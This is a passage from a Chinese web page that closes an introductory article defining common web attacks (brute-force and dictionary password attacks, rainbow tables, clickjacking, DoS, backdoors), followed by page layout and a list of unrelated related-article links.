   <li>通过网络进行密码试错 <br> 穷举法 <br> 穷举法( Brute-force Attack, 又称暴力破解法) 是指对所有密钥集合构成的密钥空间( Keyspace) 进行穷举。 即, 用所有可行的候选密码对目标的密码系统试错, 用以突破验证的一种攻击。 <br> 字典攻击 <br> 字典攻击是指利用事先收集好的候选密码( 经过各种组合方式后存入字典) , 枚举字典中的密码, 尝试通过认证的一种攻击手法。 <br> 还是举银行采用个人识别码是“4 位数字”的密码的例子, 考虑到用户使用自己的生日做密码的可能性较高, 于是就可以把生日日期数值化, 如将 0101~1231 保存成字典, 进行尝试。</li> 
   <li>对已加密密码的破解 <br> Web 应用在保存密码时, 一般不会直接以明文的方式保存, 通过散列函数做散列处理或加 salt 的手段对要保存的密码本身加密。那即使攻击者使用某些手段窃取密码数据, 如果想要真正使用这些密码, 则必须先通过解码等手段, 把加密处理的密码还原成明文形式。</li> 
   <li>通过穷举法·字典攻击进行类推</li> 
   <li>彩虹表</li> 
   <li>拿到密钥</li> 
   <li>加密算法的漏洞 <br> 为了提高攻击成功率, 拥有一张海量数据的彩虹表就成了必不可少的条件。 例如在 Free Rainbow Tables 网站上 <br> ( http://www.freerainbowtables.com/en/tables2/) 公布的一张由大小写字母及数字全排列的 1~8 位字符串对应的 MD5 散列值构成的彩虹表, 其大小约为 1050 吉字节。</li> 
  </ul> 
  <h3 id="点击劫持">点击劫持</h3> 
  <p>点击劫持( Clickjacking) 是指利用透明的按钮或链接做成陷阱, 覆盖在 Web 页面之上。 然后诱使用户在不知情的情况下, 点击那个链接访问内容的一种攻击手段。 这种行为又称为界面伪装( UI Redressing) 。 <br> 已设置陷阱的 Web 页面, 表面上内容并无不妥, 但早已埋入想让用户点击的链接。 当用户点击到透明的按钮时, 实际上是点击了已指定透明属性元素的 iframe 页面。</p> 
  <h3 id="dos-攻击">DoS 攻击</h3> 
  <p>DoS 攻击( Denial of Service attack) 是一种让运行中的服务呈停止状态的攻击。 有时也叫做服务停止攻击或拒绝服务攻击。 DoS 攻击的对象不仅限于 Web 网站, 还包括网络设备及服务器等。</p> 
  <h3 id="后门程序">后门程序</h3> 
  <p>后门程序( Backdoor) 是指开发设置的隐藏入口, 可不按正常步骤使用受限功能。 利用后门程序就能够使用原本受限制的功能。</p> 
 </div> 
</div>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1296989304312111104"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(安全及加密)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1950233199242178560.htm"
                           title="x86-64汇编语言训练程序与实战" target="_blank">x86-64汇编语言训练程序与实战</a>
                        <span class="text-muted">十除以十等于一</span>

                        <div>本文还有配套的精品资源,点击获取简介:汇编语言是一种低级语言,与机器代码紧密相关,特别适用于编写系统级代码及性能要求高的应用。nasm编译器是针对x86和x86-64架构的汇编语言编译器,支持多种语法风格和指令集。项目Euler提供数学和计算机科学问题,鼓励编程技巧应用,前100个问题的答案可共享。x86-64架构扩展了寄存器数量并引入新指令,提升了数据处理效率。学习汇编语言能够深入理解计算机底层</div>
                    </li>
                    <li><a href="/article/1950233072825856000.htm"
                           title="三菱PLC全套学习资料及应用手册" target="_blank">三菱PLC全套学习资料及应用手册</a>
                        <span class="text-muted">good2know</span>

                        <div>本文还有配套的精品资源,点击获取简介:三菱PLC作为工业自动化领域的核心设备,其系列产品的学习和应用需要全面深入的知识。本次资料包为学习者提供从基础到进阶的全方位学习资源,包括各种型号PLC的操作手册、编程指南、软件操作教程以及实际案例分析,旨在帮助用户系统掌握PLC的编程语言、指令系统及在各类工业应用中的实施。1.三菱PLC基础知识入门1.1PLC的基本概念可编程逻辑控制器(PLC)是工业自动化</div>
                    </li>
                    <li><a href="/article/1950232820773351424.htm"
                           title="移动端城市区县二级联动选择功能实现包" target="_blank">移动端城市区县二级联动选择功能实现包</a>
                        <span class="text-muted">good2know</span>

                        <div>本文还有配套的精品资源,点击获取简介:本项目是一套为移动端设计的jQuery实现方案,用于简化用户在选择城市和区县时的流程。它包括所有必需文件:HTML、JavaScript、CSS及图片资源。通过动态更新下拉菜单选项,实现城市到区县的联动效果,支持数据异步加载。开发者可以轻松集成此功能到移动网站或应用,并可基于需求进行扩展和优化。1.jQuery移动端解决方案概述jQuery技术简介jQuery</div>
                    </li>
                    <li><a href="/article/1950232781174927360.htm"
                           title="15个小技巧,让我的Windows电脑更好用了!" target="_blank">15个小技巧,让我的Windows电脑更好用了!</a>
                        <span class="text-muted">曹元_</span>

                        <div>01.桌面及文档处理第一部分的技巧,主要是围绕桌面的一些基本操作,包括主题设置、常用文档文件快捷打开的多种方式等等。主题换色默认情况下,我们的Win界面可能就是白色的文档界面,天蓝色的图表背景,说不出哪里不好看,但是就是觉得不够高级。imageimage说到高级感,本能第一反应就会和暗色模式联想起来,如果我们将整个界面换成黑夜模式的话,它会是这样的。imageimage更改主题颜色及暗色模式,我们</div>
                    </li>
                    <li><a href="/article/1950231640819167232.htm"
                           title="贝多芬诞辰250周年纪念" target="_blank">贝多芬诞辰250周年纪念</a>
                        <span class="text-muted">万千星河赴远方</span>

                        <div>就算不是古典音乐爱好者,你也一定听说过贝多芬。作为古典音乐史上最伟大的音乐家之一,他不仅是古典主义风格的集大成者,同时也是浪漫主义风格的开创者。贝多芬肖像画(1813年)贝多芬的一生共创作了9部交响曲、36首钢琴奏鸣曲、10部小提琴奏鸣曲、16首弦乐四重奏、1部歌剧及2部弥撒曲等等。数量虽然不及前辈海顿、莫扎特多,但他几乎改造了当时所有的音乐表达形式,赋予了它们全新的价值,对后世音乐的发展产生了极</div>
                    </li>
                    <li><a href="/article/1950231254427299840.htm"
                           title="我不懂什么是爱,但我给你全部我拥有的" target="_blank">我不懂什么是爱,但我给你全部我拥有的</a>
                        <span class="text-muted">香尧</span>

                        <div>因为怕黑,所以愿意陪伴在夜中行走的人,给他一点点的安全感。因为渴望温柔与爱,所以愿意为别的孩子付出爱与温柔。因为曾遭受侮辱和伤害,所以不以同样的方式施于其他人。如果你向别人出之以利刃,对方还了你爱与包容,真的不要感激他,真的不要赞美他。每一个被人伤害过的人心里都留下了一颗仇恨的种子,他也会想要有一天以眼还眼,以牙还牙。但他未让那颗种子生根发芽,他用一把心剑又一次刺向他自己,用他血荐仇恨,开出一朵温</div>
                    </li>
                    <li><a href="/article/1950228031117258752.htm"
                           title="深入解析JVM工作原理:从字节码到机器指令的全过程" target="_blank">深入解析JVM工作原理:从字节码到机器指令的全过程</a>
                        <span class="text-muted"></span>

                        <div>一、JVM概述Java虚拟机(JVM)是Java平台的核心组件,它实现了Java"一次编写,到处运行"的理念。JVM是一个抽象的计算机器,它有自己的指令集和运行时内存管理机制。JVM的主要职责:加载:读取.class文件并验证其正确性存储:管理内存分配和垃圾回收执行:解释或编译字节码为机器指令安全:提供沙箱环境限制恶意代码二、JVM架构详解JVM由三个主要子系统组成:1.类加载子系统类加载过程分为</div>
                    </li>
                    <li><a href="/article/1950227570091945984.htm"
                           title="叮嘱!北恒高级班周一丰创投杯量化私募大赛不正规!受骗不能提现出金被骗真相曝光!" target="_blank">叮嘱!北恒高级班周一丰创投杯量化私募大赛不正规!受骗不能提现出金被骗真相曝光!</a>
                        <span class="text-muted">天权顾问</span>

                        <div>量化北恒私募实盘大赛周一丰投票项目安全吗?量化北恒私募实盘大赛周一丰积分投票已经亏损被骗了怎么办?警惕!量化北恒私募实盘大赛周一丰十选五项目合法吗——杀猪盘骗局!被骗提不了款!提不了现!出不来金!不要上当!自古有句话讲得好“人善被欺、马善被骑”,现如今也是被骗子利用到了极致,人善就真该被欺骗吗?狡猾的骗子们就利用到了这点,利用同情心、爱心去进行诈骗,宣传公益捐款、爱心慈善打比赛来骗取资金!正常的投</div>
                    </li>
                    <li><a href="/article/1950225255079407616.htm"
                           title="企业级区块链平台Hyperchain核心原理剖析" target="_blank">企业级区块链平台Hyperchain核心原理剖析</a>
                        <span class="text-muted">boyedu</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a><a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a><a class="tag" taget="_blank" href="/search/%E4%BC%81%E4%B8%9A%E7%BA%A7%E5%8C%BA%E5%9D%97%E9%93%BE%E5%B9%B3%E5%8F%B0/1.htm">企业级区块链平台</a><a class="tag" taget="_blank" href="/search/Hyperchain/1.htm">Hyperchain</a>
                        <div>Hyperchain作为国产自主可控的企业级联盟区块链平台,其核心原理围绕高性能共识、隐私保护、智能合约引擎及可扩展架构展开,通过多模块协同实现企业级区块链网络的高效部署与安全运行。以下从核心架构、关键技术、性能优化、安全机制、应用场景五个维度展开剖析:一、核心架构:分层解耦与模块化设计Hyperchain采用分层架构,将区块链功能解耦为独立模块,支持灵活组合与扩展:P2P网络层由验证节点(VP)</div>
                    </li>
                    <li><a href="/article/1950223879330918400.htm"
                           title="第八章 竟然是他" target="_blank">第八章 竟然是他</a>
                        <span class="text-muted">橥橥</span>

                        <div>十天之后,京城已在眼前。沐子莹总算松了口,天子脚下,相对安全。马车在城门外停下,杨嬷嬷掀了帘子往外望去,哀叹了一声。沐子莹拍拍身上的灰尘安慰她说:“嬷嬷,别怕,马上就要到府了,咱们可得把那车夫的事跟主母讲一讲,让主她这个当家的给我们作主才是。”嬷嬷却连连摆手,“不可啊小姐,咱们能平安回府就是幸事,车夫的事……就说他摔死在半路,其它的,莫要再提了吧。”“若真是车夫生事那算是万幸了,只怕容不得我们的,</div>
                    </li>
                    <li><a href="/article/1950223497875746816.htm"
                           title="最新阿里四面面试真题46道:面试技巧+核心问题+面试心得" target="_blank">最新阿里四面面试真题46道:面试技巧+核心问题+面试心得</a>
                        <span class="text-muted">风平浪静如码</span>

                        <div>前言做技术的有一种资历,叫做通过了阿里的面试。这些阿里Java相关问题,都是之前通过不断优秀人才的铺垫总结的,先自己弄懂了再去阿里面试,不然就是去丢脸,被虐。希望对大家帮助,祝面试成功,有个更好的职业规划。一,阿里常见技术面1、微信红包怎么实现。2、海量数据分析。3、测试职位问的线程安全和非线程安全。4、HTTP2.0、thrift。5、面试电话沟通可能先让自我介绍。6、分布式事务一致性。7、ni</div>
                    </li>
                    <li><a href="/article/1950222852074565632.htm"
                           title="2025年SDK游戏盾终极解析:重新定义手游安全的“隐形护甲”" target="_blank">2025年SDK游戏盾终极解析:重新定义手游安全的“隐形护甲”</a>
                        <span class="text-muted">上海云盾商务经理杨杨</span>
<a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F/1.htm">游戏</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>副标题:从客户端加密到AI反外挂,拆解全链路防护如何重塑游戏攻防天平引言:当传统高防在手游战场“失效”2025年全球手游市场规模突破$2000亿,黑客单次攻击成本却降至$30——某SLG游戏因协议层CC攻击单日流失37%玩家,某开放世界游戏遭低频DDoS瘫痪6小时损失千万。传统高防IP的致命短板暴露无遗:无法识别伪造客户端流量、难防协议篡改、误杀率超15%。而集成于游戏终端的SDK游戏盾,正以“源</div>
                    </li>
                    <li><a href="/article/1950220571119775744.htm"
                           title="md5加密" target="_blank">md5加密</a>
                        <span class="text-muted">落地成佛</span>

                        <div>using(MD5md5=MD5.Create()){byte[]byteHash=md5.ComputeHash(System.Text.Encoding.Default.GetBytes(s));stringstrRes=BitConverter.ToString(byteHash).Replace("-","");returnstrRes.ToUpper();}</div>
                    </li>
                    <li><a href="/article/1950215982920298496.htm"
                           title="我最喜欢的公众号" target="_blank">我最喜欢的公众号</a>
                        <span class="text-muted">素颜创始人小云</span>

                        <div>一年多前,也是因为工作的原因。认识了她,她是我七个人物法其一,她在我心里也是很敬佩的一个女孩子。她会讲一些护肤知识,哪些产品好用哪些不好用而他讲解的产品都是我跃跃欲试的。图片发自App她做的每一篇文章都很精美,可以吸引到我从头看到尾,看每一个字都会很珍惜很期待,做事也特别的认真仔细。去年出了一本《活得漂亮》我也看了她的创业故事,很厉害!她的认真及敬业精神我觉得是很难学得来的,现在怀孕3个月了,依然</div>
                    </li>
                    <li><a href="/article/1950215855858053120.htm"
                           title="善吃五色五味,女人更妖娆,想漂亮享受健康美味吃起来" target="_blank">善吃五色五味,女人更妖娆,想漂亮享受健康美味吃起来</a>
                        <span class="text-muted">余老师讲健康</span>

                        <div>善吃五色五味,女人更妖娆我们所说的五色五味是指具有赤、青、黄、白、黑五种颜色以及酸、辛、甘、苦、咸五种味道的食物。其实五味和五色与人体的五脏对应,养生必养五脏,通过五味、五色的食物可以调养人的容颜。一、赤色、苦味入心——养颜,面色红润有句话这么说,“会吃的女人更漂亮,贪吃的女人变糟粕。”经过科学、合理搭配的五色五味饮食,就是最天然、最安全的美容药方。赤色——抗衰老,增强免疫力,改善血液循环。赤色即</div>
                    </li>
                    <li><a href="/article/1950215220051898368.htm"
                           title="2019做重要的事,让遗憾减少" target="_blank">2019做重要的事,让遗憾减少</a>
                        <span class="text-muted">Sandy黄珊丹</span>

                        <div>岁末年初,又到了回顾和展望的时间。回顾2018,你有哪些事情没有去做或者没有做到而感到遗憾的呢?2019年我们要怎么做,可以减少遗憾呢?回想自己在2017年以前,一直处在忙碌的家庭和事业中,忙碌让我感到安全,稍微停下脚步都感到是一种罪过,每一件事似乎都很重要。直到2017春节后,因为对未来彷徨和焦虑,让我严重失眠,家庭关系恶化,都让心疲惫无法进入工作状态,不得不寻找解决的的办法。在2017年5月份</div>
                    </li>
                    <li><a href="/article/1950213306421669888.htm"
                           title="新家长必修课小贴士—如何做到无条件接纳" target="_blank">新家长必修课小贴士—如何做到无条件接纳</a>
                        <span class="text-muted">SDDE兰</span>

                        <div>2021年6月14日星期一《新父母晨报》【育儿知识】:怎样做才是无条件地接纳孩子呢?在孩子成长的过程当中,来自父母无条件地接纳,是孩子成长的安全基地,是孩子面对任何困难时候的底气。只有被父母无条件接纳的孩子,未来不管遇到什么样的境况,都会感觉有后盾,都能更快地去适应。怎样做才是无条件地接纳孩子呢?有两个非常重要的维度:️接纳孩子的感受✨一个孩子不管他的行为是可爱,还是令人讨厌,他其实都是为了寻求父</div>
                    </li>
                    <li><a href="/article/1950212288136933376.htm"
                           title="今日随笔" target="_blank">今日随笔</a>
                        <span class="text-muted">小小林_005b</span>

                        <div>2019.10.21.周一晴全职第436天50+21/day118天【皮皮第118天】1.昨晚闹腾到一点多才安稳入睡,一个晚上一直哭哭闹闹(´;︵;`),没睡一会儿就会惊吓大哭(´;︵;`),一直抱着哄,似乎抱着才更加有安全感才能睡得更好。小胖子越来越重,我的手和腰部有些承受不了,经常腰酸痛到直不起来,好在有黑先生和啊影子下班后有空了就帮我抱一会儿。2.今日排便三次,一次偏向绿色,一两次金黄色。3</div>
                    </li>
                    <li><a href="/article/1950209116165173248.htm"
                           title="uniapp微信小程序 - 详解微信小程序平台用户授权登录全流程,uniapp v3版本中小程序端开发下用户点击登录后获取手机号/昵称/性别/头像等信息完成登录(提供完整示例代码,一键复制开箱即用)" target="_blank">uniapp微信小程序 - 详解微信小程序平台用户授权登录全流程,uniapp v3版本中小程序端开发下用户点击登录后获取手机号/昵称/性别/头像等信息完成登录(提供完整示例代码,一键复制开箱即用)</a>
                        <span class="text-muted">十一猫咪爱养鱼</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E7%BB%84%E4%BB%B6%E4%B8%8E%E5%8A%9F%E8%83%BD%28%E5%BC%80%E7%AE%B1%E5%8D%B3%E7%94%A8%29/1.htm">前端组件与功能(开箱即用)</a><a class="tag" taget="_blank" href="/search/uniapp%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3/1.htm">uniapp常见问题解决</a><a class="tag" taget="_blank" href="/search/uniapp/1.htm">uniapp</a><a class="tag" taget="_blank" href="/search/vue3/1.htm">vue3</a><a class="tag" taget="_blank" href="/search/uniapp3%E5%B0%8F%E7%A8%8B%E5%BA%8F%E6%8E%88%E6%9D%83%E7%99%BB%E5%BD%95/1.htm">uniapp3小程序授权登录</a><a class="tag" taget="_blank" href="/search/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E7%99%BB%E5%BD%95%E8%8E%B7%E5%8F%96%E7%94%A8%E6%88%B7%E4%BF%A1%E6%81%AF%E6%95%99%E7%A8%8B/1.htm">微信小程序登录获取用户信息教程</a><a class="tag" taget="_blank" href="/search/%E8%8E%B7%E5%8F%96%E7%94%A8%E6%88%B7%E6%98%B5%E7%A7%B0%E6%89%8B%E6%9C%BA%E5%8F%B7%E5%A4%B4%E5%83%8F%E4%BF%A1%E6%81%AF%E7%99%BB%E5%BD%95/1.htm">获取用户昵称手机号头像信息登录</a><a class="tag" taget="_blank" href="/search/vue3%E7%89%88%E6%9C%AC%E5%B0%8F%E7%A8%8B%E5%BA%8F%E5%B9%B3%E5%8F%B0%E6%8E%88%E6%9D%83%E7%99%BB%E5%BD%95/1.htm">vue3版本小程序平台授权登录</a><a class="tag" taget="_blank" href="/search/uniap%E5%B0%8F%E7%A8%8B%E5%BA%8F%E7%AB%AF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%B5%81%E7%A8%8B/1.htm">uniap小程序端用户登录流程</a><a class="tag" taget="_blank" href="/search/uni%E5%AE%8C%E6%95%B4%E7%9A%84%E5%B0%8F%E7%A8%8B%E5%BA%8F%E5%B9%B3%E5%8F%B0%E7%99%BB%E5%BD%95%E6%BA%90%E7%A0%81/1.htm">uni完整的小程序平台登录源码</a>
                        <div>效果图在uniapp微信小程序端开发中,超详细实现用户授权登录完整功能源码,用户授权后获取手机号/昵称/头像/性别等,提供完整思路流程及逻辑讲解。uniappVue3和Vue2都能用,你也可以直接复制粘贴,然后改下参数放到你的项目中去就行。整体思路做功能之前,先来看一下整体流程是</div>
                    </li>
                    <li><a href="/article/1950208359722446848.htm"
                           title="元宇宙中的视觉技术:虚拟化身与场景生成" target="_blank">元宇宙中的视觉技术:虚拟化身与场景生成</a>
                        <span class="text-muted">xcLeigh</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89CV/1.htm">计算机视觉CV</a><a class="tag" taget="_blank" href="/search/%E5%85%83%E5%AE%87%E5%AE%99/1.htm">元宇宙</a><a class="tag" taget="_blank" href="/search/%E8%99%9A%E6%8B%9F%E5%8C%96%E8%BA%AB/1.htm">虚拟化身</a><a class="tag" taget="_blank" href="/search/%E5%9C%BA%E6%99%AF%E7%94%9F%E6%88%90/1.htm">场景生成</a><a class="tag" taget="_blank" href="/search/AIGC/1.htm">AIGC</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E5%AD%97%E5%AD%AA%E7%94%9F/1.htm">数字孪生</a>
                        <div>元宇宙中的视觉技术:虚拟化身与场景生成前言一、元宇宙与视觉技术的深度关联1.1元宇宙概念深度剖析1.2视觉技术:元宇宙的“灵魂之窗”二、虚拟化身:数字世界的“第二自我”2.1虚拟化身技术的深度解析2.1.1核心技术构成2.1.2技术实现原理与流程2.2虚拟化身的应用领域及案例展示2.2.1游戏娱乐领域2.2.2教育培训领域三、场景生成:构建元宇宙的虚拟天地3.1场景生成技术全景透视3.1.1关键技</div>
                    </li>
                    <li><a href="/article/1950208106579423232.htm"
                           title="处于停机等非正常状态_设备非正常停机管理指导办法" target="_blank">处于停机等非正常状态_设备非正常停机管理指导办法</a>
                        <span class="text-muted"></span>

                        <div>设备非正常停机管理指导办法一、设备非正常停机的范围:1、维护、维修不良:未遵守设备维护及维修规程,导致维护、维修质量无法满足设备运行的技术、环境要求而造成的设备停机,例如:未按维护保养计划保养、维护质量不到位、违章检修,故障维修不彻底,润滑缺油或变质等。2、违章操作:未按照设备操作规程及作业文件等操作而造成的设备停机。3、设备点检缺失:是指设备操作者及维修人员未严格按照点检标准有效地对设备各部位进</div>
                    </li>
                    <li><a href="/article/1950207853105049600.htm"
                           title="【Coze搞钱实战】3. 避坑指南:对话流设计中的6个致命错误(真实案例)" target="_blank">【Coze搞钱实战】3. 避坑指南:对话流设计中的6个致命错误(真实案例)</a>
                        <span class="text-muted">AI_DL_CODE</span>
<a class="tag" taget="_blank" href="/search/Coze%E5%B9%B3%E5%8F%B0/1.htm">Coze平台</a><a class="tag" taget="_blank" href="/search/%E5%AF%B9%E8%AF%9D%E6%B5%81%E8%AE%BE%E8%AE%A1/1.htm">对话流设计</a><a class="tag" taget="_blank" href="/search/%E5%AE%A2%E6%9C%8DBot%E9%81%BF%E5%9D%91/1.htm">客服Bot避坑</a><a class="tag" taget="_blank" href="/search/%E7%94%A8%E6%88%B7%E6%B5%81%E5%A4%B1/1.htm">用户流失</a><a class="tag" taget="_blank" href="/search/%E5%B0%81%E5%8F%B7%E9%A3%8E%E9%99%A9/1.htm">封号风险</a><a class="tag" taget="_blank" href="/search/%E6%99%BA%E8%83%BD%E5%AE%A2%E6%9C%8D%E9%85%8D%E7%BD%AE/1.htm">智能客服配置</a><a class="tag" taget="_blank" href="/search/%E6%95%85%E9%9A%9C%E4%BF%AE%E5%A4%8D%E6%8C%87%E5%8D%97/1.htm">故障修复指南</a>
                        <div>摘要:对话流设计是智能客服Bot能否落地的核心环节,直接影响用户体验与业务安全。本文基于50+企业Bot部署故障分析,聚焦导致用户流失、投诉甚至封号的6大致命错误:无限循环追问、人工移交超时、敏感词过滤缺失、知识库冲突、未处理否定意图、跨平台适配失败。通过真实案例拆解每个错误的表现形式、技术根因及工业级解决方案,提供可直接复用的Coze配置代码、工作流模板和检测工具。文中包含对话流健康度检测工具使</div>
                    </li>
                    <li><a href="/article/1950207854388506624.htm"
                           title="深入理解 Tomcat Wrapper 原理" target="_blank">深入理解 Tomcat Wrapper 原理</a>
                        <span class="text-muted">北漂老男人</span>
<a class="tag" taget="_blank" href="/search/Tomcat/1.htm">Tomcat</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>深入理解TomcatWrapper原理一、引言在Tomcat的分层容器架构中,Wrapper作为最底层的容器,专门负责管理单个Servlet的生命周期及请求分发。每一个Servlet(包括JSP、Filter等)都对应一个Wrapper。Wrapper是Servlet规范与Tomcat容器实现之间的桥梁,直接关系到请求的分发效率、Servlet的加载与重用、安全隔离等。本文将系统剖析Wrapper</div>
                    </li>
                    <li><a href="/article/1950207097023033344.htm"
                           title="Pktgen-DPDK:开源网络测试工具的深度解析与应用" target="_blank">Pktgen-DPDK:开源网络测试工具的深度解析与应用</a>
                        <span class="text-muted">艾古力斯</span>

                        <div>本文还有配套的精品资源,点击获取简介:Pktgen-DPDK是基于DPDK的高性能流量生成工具,适用于网络性能测试、硬件验证及协议栈开发。它支持多种网络协议,能够模拟高吞吐量的数据包发送。本项目通过利用DPDK的高速数据包处理能力,允许用户自定义数据包内容,并实现高效的数据包管理与传输。文章将指导如何安装DPDK、编译Pktgen、配置工具以及使用方法,最终帮助开发者和网络管理员深入理解并优化网络</div>
                    </li>
                    <li><a href="/article/1950205673333649408.htm"
                           title="中原焦点团队 坚持原创分享第 1172天" target="_blank">中原焦点团队 坚持原创分享第 1172天</a>
                        <span class="text-muted">金JJ</span>

                        <div>信阳案例督导:在学生出现危机时,学校启动心理应急程序,一位心理老师安抚个案的同时,其他心理老师给班级同学进行团体心理辅导,学校方面马上通知家长前来学校。学校危机干预应急流程的成熟,能有效降低个案的自杀风险。个案不愿谈及家庭及自己自杀行为等问题时,用沙盘、玩具等分散注意力,谈论他感兴趣的话题,老师温和的态度,关切的言语,个案的情绪逐渐平复。从个案自己说的,流露的非言语,家长、老师、同学、以往的记录,</div>
                    </li>
                    <li><a href="/article/1950204901929840640.htm"
                           title="求解——妊娠纹霜哪个牌子好?皮肤专家推荐的热门秘诀!" target="_blank">求解——妊娠纹霜哪个牌子好?皮肤专家推荐的热门秘诀!</a>
                        <span class="text-muted">zhangxing0100</span>

                        <div>妊娠纹会严重影响女性的美观,那孕期的女性朋友该如何避免减少妊娠纹的出现呢?下面美腹丽人小编为大家分享了预防妊娠纹的方法,赶紧一起来学习吧!一、预防妊娠纹的饮食习惯1、多食用对皮肤内胶原纤维有利的食品来增强皮肤的弹性。2、控制糖分摄入,少吃色素含量高的食物。3、早晚两杯脱脂牛奶,多食用维丰富的蔬菜、水果和富含维生素及矿物质的食物,增加细胞膜的通透性和皮肤的新陈代谢功能。4、正确的喝水习惯可以提速皮肤</div>
                    </li>
                    <li><a href="/article/1950204827929735168.htm"
                           title="办公党必备!Excel文件批量加密神器!一键保护你的重要数据" target="_blank">办公党必备!Excel文件批量加密神器!一键保护你的重要数据</a>
                        <span class="text-muted">阿幸软件杂货间</span>
<a class="tag" taget="_blank" href="/search/Excel/1.htm">Excel</a><a class="tag" taget="_blank" href="/search/excel/1.htm">excel</a>
                        <div>软件介绍今天推荐的这一款专为Excel文件设计的批量加密工具,能够帮助用户快速、高效地为多个Excel文件设置密码保护,有效防止数据泄露。软件特点本地化离线处理支持批量操作完全免费软件操作选择你需要加密的文件和路径,设置密码进行加密即可软件下载夸克网盘迅雷网盘UC网盘</div>
                    </li>
                    <li><a href="/article/1950204010703155200.htm"
                           title="盘点长期可做的副业兼职有哪些?分享7个长期可做的靠谱副业兼职!" target="_blank">盘点长期可做的副业兼职有哪些?分享7个长期可做的靠谱副业兼职!</a>
                        <span class="text-muted">古楼</span>

                        <div>副业兼职做什么好呢?适合上班族的6个副业?不少上班族薪资不高,加薪无望,就希望搞副业多挣点钱,不仅能打消下班的空闲时间,还能丰富自己的生活,还能赚点钱补贴家用。那么有什么适合上班族的副业,既不占用上班的时间,又不会消耗太多的精力影响第二天上班。这里我总结了6个适合上班族的副业,提供给大家,希望有所帮助。第一款优惠劵导购平台,零投资,安全可靠高省APP,是2022年推出的平台,0投资,0风险、高省A</div>
                    </li>
                    <li><a href="/article/1950202936449626112.htm"
                           title="Qwen3 大模型实战:使用 vLLM 部署与函数调用(Function Call)全攻略" target="_blank">Qwen3 大模型实战:使用 vLLM 部署与函数调用(Function Call)全攻略</a>
                        <span class="text-muted">曦紫沐</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%A8%A1%E5%9E%8B/1.htm">大模型</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%A8%A1%E5%9E%8B%E9%83%A8%E7%BD%B2/1.htm">大模型部署</a><a class="tag" taget="_blank" href="/search/Qwen3/1.htm">Qwen3</a><a class="tag" taget="_blank" href="/search/vLLM/1.htm">vLLM</a><a class="tag" taget="_blank" href="/search/%E5%87%BD%E6%95%B0%E8%B0%83%E7%94%A8/1.htm">函数调用</a>
                        <div>文章摘要本文将带你从零开始,深入掌握如何使用Qwen3-8B大语言模型,结合vLLM进行高性能部署,并通过函数调用(FunctionCall)实现模型与外部工具的智能联动。我们将详细讲解部署命令、调用方式、代码示例及实际应用场景,帮助你快速构建基于Qwen3的智能应用。一、Qwen3简介与部署环境准备Qwen3是通义千问系列的最新一代大语言模型,具备强大的自然语言理解和生成能力,尤其在函数调用、工</div>
                    </li>
                    <li><a href="/article/1950202938265759744.htm"
                           title="你竟然还在用克隆删除?Conda最新版rename命令全攻略!" target="_blank">你竟然还在用克隆删除?Conda最新版rename命令全攻略!</a>
                        <span class="text-muted">曦紫沐</span>
<a class="tag" taget="_blank" href="/search/Python%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/1.htm">Python基础知识</a><a class="tag" taget="_blank" href="/search/conda/1.htm">conda</a><a class="tag" taget="_blank" href="/search/%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83%E7%AE%A1%E7%90%86/1.htm">虚拟环境管理</a>
                        <div>文章摘要Conda虚拟环境管理终于迎来革命性升级!本文揭秘Conda4.9+版本新增的rename黑科技,彻底告别传统“克隆+删除”的繁琐操作。从命令解析到实战案例,手把手教你如何安全高效地重命名Python虚拟环境,附带版本检测、环境迁移、故障排查等进阶技巧,助你提升开发效率10倍!一、颠覆认知:Conda居然自带重命名功能?很多开发者仍停留在“Conda无法直接重命名环境”的认知阶段,实际上自</div>
                    </li>
                                <li><a href="/article/25.htm"
                                       title="Java实现的简单双向Map,支持重复Value" target="_blank">Java实现的简单双向Map,支持重复Value</a>
                                    <span class="text-muted">superlxw1234</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%8F%8C%E5%90%91map/1.htm">双向map</a>
                                    <div>关键字:Java双向Map、DualHashBidiMap 
  
  
有个需求,需要根据即时修改Map结构中的Value值,比如,将Map中所有value=V1的记录改成value=V2,key保持不变。 
  
